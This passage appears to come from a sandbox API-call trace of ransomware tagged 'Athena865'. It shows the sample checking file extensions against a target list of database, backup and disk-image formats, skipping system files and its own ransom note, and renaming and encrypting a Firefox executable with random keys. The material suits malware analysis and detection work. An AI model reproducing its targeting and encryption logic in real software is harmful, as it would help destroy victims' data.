3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0043.750] lstrlenW (lpString="myd") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0043.750] lstrlenW (lpString="ndf") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0043.750] lstrlenW (lpString="nnt") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0043.750] lstrlenW (lpString="nrmlib") returned 6 [0043.750] lstrcmpiW (lpString1="ce.exe", lpString2="nrmlib") returned -1 [0043.750] lstrlenW (lpString="ns2") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0043.750] lstrlenW (lpString="ns3") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0043.750] lstrlenW (lpString="ns4") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0043.750] lstrlenW (lpString="nsf") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0043.750] lstrlenW (lpString="nv") returned 2 [0043.750] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0043.750] lstrlenW (lpString="nv2") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0043.750] lstrlenW (lpString="nwdb") returned 4 [0043.750] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0043.750] lstrlenW (lpString="nyf") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0043.750] lstrlenW (lpString="odb") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0043.750] lstrlenW (lpString="odb") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0043.750] lstrlenW (lpString="oqy") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0043.751] lstrlenW (lpString="ora") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0043.751] lstrlenW (lpString="orx") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0043.751] lstrlenW (lpString="owc") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0043.751] lstrlenW (lpString="p96") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0043.751] lstrlenW (lpString="p97") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0043.751] lstrlenW (lpString="pan") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0043.751] lstrlenW (lpString="pdb") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0043.751] lstrlenW (lpString="pdm") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0043.751] lstrlenW (lpString="pnz") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0043.751] lstrlenW (lpString="qry") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0043.751] lstrlenW (lpString="qvd") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0043.751] lstrlenW (lpString="rbf") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0043.751] lstrlenW (lpString="rctd") returned 4 [0043.751] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0043.751] lstrlenW (lpString="rod") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0043.751] lstrlenW (lpString="rodx") returned 4 [0043.751] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0043.751] lstrlenW (lpString="rpd") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0043.751] lstrlenW (lpString="rsd") returned 3 [0043.751] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0043.751] lstrlenW (lpString="sas7bdat") returned 8 [0043.751] lstrcmpiW (lpString1="vice.exe", lpString2="sas7bdat") returned 1 [0043.752] lstrlenW (lpString="sbf") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0043.752] lstrlenW (lpString="scx") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0043.752] lstrlenW (lpString="sdb") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0043.752] lstrlenW (lpString="sdc") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0043.752] lstrlenW (lpString="sdf") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0043.752] lstrlenW (lpString="sis") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0043.752] lstrlenW (lpString="spq") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0043.752] lstrlenW (lpString="te") returned 2 [0043.752] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0043.752] lstrlenW (lpString="teacher") returned 7 [0043.752] lstrcmpiW (lpString1="ice.exe", lpString2="teacher") returned -1 [0043.752] lstrlenW (lpString="tmd") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0043.752] lstrlenW (lpString="tps") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0043.752] lstrlenW (lpString="trc") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0043.752] lstrlenW (lpString="trc") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0043.752] lstrlenW (lpString="trm") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0043.752] lstrlenW (lpString="udb") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0043.752] lstrlenW (lpString="udl") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0043.752] lstrlenW (lpString="usr") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0043.752] lstrlenW (lpString="v12") returned 3 [0043.752] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0043.753] lstrlenW (lpString="vis") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0043.753] lstrlenW (lpString="vpd") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0043.753] lstrlenW (lpString="vvv") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0043.753] lstrlenW (lpString="wdb") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0043.753] lstrlenW (lpString="wmdb") returned 4 [0043.753] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0043.753] lstrlenW (lpString="wrk") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0043.753] lstrlenW (lpString="xdb") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0043.753] lstrlenW (lpString="xld") returned 3 [0043.753] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0043.753] lstrlenW (lpString="xmlff") returned 5 [0043.753] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0043.753] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe.Athena865") returned 71 [0043.753] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice.exe.athena865"), dwFlags=0x1) returned 1 [0043.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.754] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=119408) returned 1 [0043.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.754] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.755] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.755] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.755] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d570, lpName=0x0) returned 0x17c [0043.759] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d570) returned 0x100000 [0043.768] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.769] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.769] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.770] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.771] CloseHandle (hObject=0x17c) returned 1 [0043.771] CloseHandle (hObject=0x154) returned 1 [0043.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.774] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x2f7f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice_installer.exe", cAlternateFileName="MAINTE~2.EXE")) returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="windows") returned -1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="bootmgr") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="temp") returned -1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="pagefile.sys") returned -1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="boot") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="ids.txt") returned 1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="ntuser.dat") returned -1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="perflogs") returned -1 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2="MSBuild") returned -1 [0043.774] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0043.774] lstrcpyW (in: lpString1=0x241e896, lpString2="maintenanceservice_installer.exe" | out: lpString1="maintenanceservice_installer.exe") returned="maintenanceservice_installer.exe" [0043.774] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0043.774] lstrlenW (lpString="Athena865") returned 9 [0043.774] lstrcmpiW (lpString1="aller.exe", lpString2="Athena865") returned -1 [0043.774] lstrlenW (lpString=".dll") returned 4 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".dll") returned 1 [0043.774] lstrlenW (lpString=".lnk") returned 4 [0043.774] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".lnk") returned 1 [0043.775] lstrlenW (lpString=".ini") returned 4 [0043.775] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".ini") returned 1 [0043.775] lstrlenW (lpString=".sys") returned 4 [0043.775] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".sys") returned 1 [0043.775] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0043.775] lstrlenW (lpString="bak") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0043.775] lstrlenW (lpString="ba_") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0043.775] lstrlenW (lpString="dbb") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0043.775] lstrlenW (lpString="vmdk") returned 4 [0043.775] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0043.775] lstrlenW (lpString="rar") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0043.775] lstrlenW (lpString="zip") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0043.775] lstrlenW (lpString="tgz") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0043.775] lstrlenW (lpString="vbox") returned 4 [0043.775] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0043.775] lstrlenW (lpString="vdi") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0043.775] lstrlenW (lpString="vhd") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0043.775] lstrlenW (lpString="vhdx") returned 4 [0043.775] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0043.775] lstrlenW (lpString="avhd") returned 4 [0043.775] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0043.775] lstrlenW (lpString="db") returned 2 [0043.775] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0043.775] lstrlenW (lpString="db2") returned 3 [0043.775] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0043.776] lstrlenW (lpString="db3") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0043.776] lstrlenW (lpString="dbf") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0043.776] lstrlenW (lpString="mdf") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0043.776] lstrlenW (lpString="mdb") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0043.776] lstrlenW (lpString="sql") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0043.776] lstrlenW (lpString="sqlite") returned 6 [0043.776] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0043.776] lstrlenW (lpString="sqlite3") returned 7 [0043.776] lstrcmpiW (lpString1="ler.exe", lpString2="sqlite3") returned -1 [0043.776] lstrlenW (lpString="sqlitedb") returned 8 [0043.776] lstrcmpiW (lpString1="ller.exe", lpString2="sqlitedb") returned -1 [0043.776] lstrlenW (lpString="xml") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0043.776] lstrlenW (lpString="$er") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0043.776] lstrlenW (lpString="4dd") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0043.776] lstrlenW (lpString="4dl") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0043.776] lstrlenW (lpString="^^^") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0043.776] lstrlenW (lpString="abs") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0043.776] lstrlenW (lpString="abx") returned 3 [0043.776] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0043.776] lstrlenW (lpString="accdb") returned 5 [0043.776] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0043.776] lstrlenW (lpString="accdc") returned 5 [0043.776] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0043.776] lstrlenW (lpString="accde") returned 5 [0043.777] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0043.777] lstrlenW (lpString="accdr") returned 5 [0043.777] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0043.777] lstrlenW (lpString="accdt") returned 5 [0043.777] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0043.777] lstrlenW (lpString="accdw") returned 5 [0043.777] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0043.777] lstrlenW (lpString="accft") returned 5 [0043.777] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0043.777] lstrlenW (lpString="adb") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0043.777] lstrlenW (lpString="adb") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0043.777] lstrlenW (lpString="ade") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0043.777] lstrlenW (lpString="adf") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0043.777] lstrlenW (lpString="adn") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0043.777] lstrlenW (lpString="adp") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0043.777] lstrlenW (lpString="alf") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0043.777] lstrlenW (lpString="ask") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0043.777] lstrlenW (lpString="btr") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0043.777] lstrlenW (lpString="cat") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0043.777] lstrlenW (lpString="cdb") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0043.777] lstrlenW (lpString="ckp") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0043.777] lstrlenW (lpString="cma") returned 3 [0043.777] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0043.777] lstrlenW (lpString="cpd") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0043.778] lstrlenW (lpString="dacpac") returned 6 [0043.778] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0043.778] lstrlenW (lpString="dad") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0043.778] lstrlenW (lpString="dadiagrams") returned 10 [0043.778] lstrcmpiW (lpString1="taller.exe", lpString2="dadiagrams") returned 1 [0043.778] lstrlenW (lpString="daschema") returned 8 [0043.778] lstrcmpiW (lpString1="ller.exe", lpString2="daschema") returned 1 [0043.778] lstrlenW (lpString="db-journal") returned 10 [0043.778] lstrcmpiW (lpString1="taller.exe", lpString2="db-journal") returned 1 [0043.778] lstrlenW (lpString="db-shm") returned 6 [0043.778] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0043.778] lstrlenW (lpString="db-wal") returned 6 [0043.778] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0043.778] lstrlenW (lpString="dbc") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0043.778] lstrlenW (lpString="dbs") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0043.778] lstrlenW (lpString="dbt") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0043.778] lstrlenW (lpString="dbv") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0043.778] lstrlenW (lpString="dbx") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0043.778] lstrlenW (lpString="dcb") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0043.778] lstrlenW (lpString="dct") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0043.778] lstrlenW (lpString="dcx") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0043.778] lstrlenW (lpString="ddl") returned 3 [0043.778] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0043.778] lstrlenW (lpString="dlis") returned 4 [0043.778] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0043.779] lstrlenW (lpString="dp1") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0043.779] lstrlenW (lpString="dqy") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0043.779] lstrlenW (lpString="dsk") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0043.779] lstrlenW (lpString="dsn") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0043.779] lstrlenW (lpString="dtsx") returned 4 [0043.779] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0043.779] lstrlenW (lpString="dxl") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0043.779] lstrlenW (lpString="eco") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0043.779] lstrlenW (lpString="ecx") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0043.779] lstrlenW (lpString="edb") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0043.779] lstrlenW (lpString="epim") returned 4 [0043.779] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0043.779] lstrlenW (lpString="fcd") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0043.779] lstrlenW (lpString="fdb") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0043.779] lstrlenW (lpString="fic") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0043.779] lstrlenW (lpString="flexolibrary") returned 12 [0043.779] lstrcmpiW (lpString1="nstaller.exe", lpString2="flexolibrary") returned 1 [0043.779] lstrlenW (lpString="fm5") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0043.779] lstrlenW (lpString="fmp") returned 3 [0043.779] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0043.779] lstrlenW (lpString="fmp12") returned 5 [0043.779] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0043.780] lstrlenW (lpString="fmpsl") returned 5 [0043.780] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0043.780] lstrlenW (lpString="fol") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0043.780] lstrlenW (lpString="fp3") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0043.780] lstrlenW (lpString="fp4") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0043.780] lstrlenW (lpString="fp5") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0043.780] lstrlenW (lpString="fp7") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0043.780] lstrlenW (lpString="fpt") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0043.780] lstrlenW (lpString="frm") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0043.780] lstrlenW (lpString="gdb") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0043.780] lstrlenW (lpString="gdb") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0043.780] lstrlenW (lpString="grdb") returned 4 [0043.780] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0043.780] lstrlenW (lpString="gwi") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0043.780] lstrlenW (lpString="hdb") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0043.780] lstrlenW (lpString="his") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0043.780] lstrlenW (lpString="ib") returned 2 [0043.780] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0043.780] lstrlenW (lpString="idb") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0043.780] lstrlenW (lpString="ihx") returned 3 [0043.780] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0043.780] lstrlenW (lpString="itdb") returned 4 [0043.781] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0043.781] lstrlenW (lpString="itw") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0043.781] lstrlenW (lpString="jet") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0043.781] lstrlenW (lpString="jtx") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0043.781] lstrlenW (lpString="kdb") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0043.781] lstrlenW (lpString="kexi") returned 4 [0043.781] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0043.781] lstrlenW (lpString="kexic") returned 5 [0043.781] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0043.781] lstrlenW (lpString="kexis") returned 5 [0043.781] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0043.781] lstrlenW (lpString="lgc") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0043.781] lstrlenW (lpString="lwx") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0043.781] lstrlenW (lpString="maf") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0043.781] lstrlenW (lpString="maq") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0043.781] lstrlenW (lpString="mar") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0043.781] lstrlenW (lpString="marshal") returned 7 [0043.781] lstrcmpiW (lpString1="ler.exe", lpString2="marshal") returned -1 [0043.781] lstrlenW (lpString="mas") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0043.781] lstrlenW (lpString="mav") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 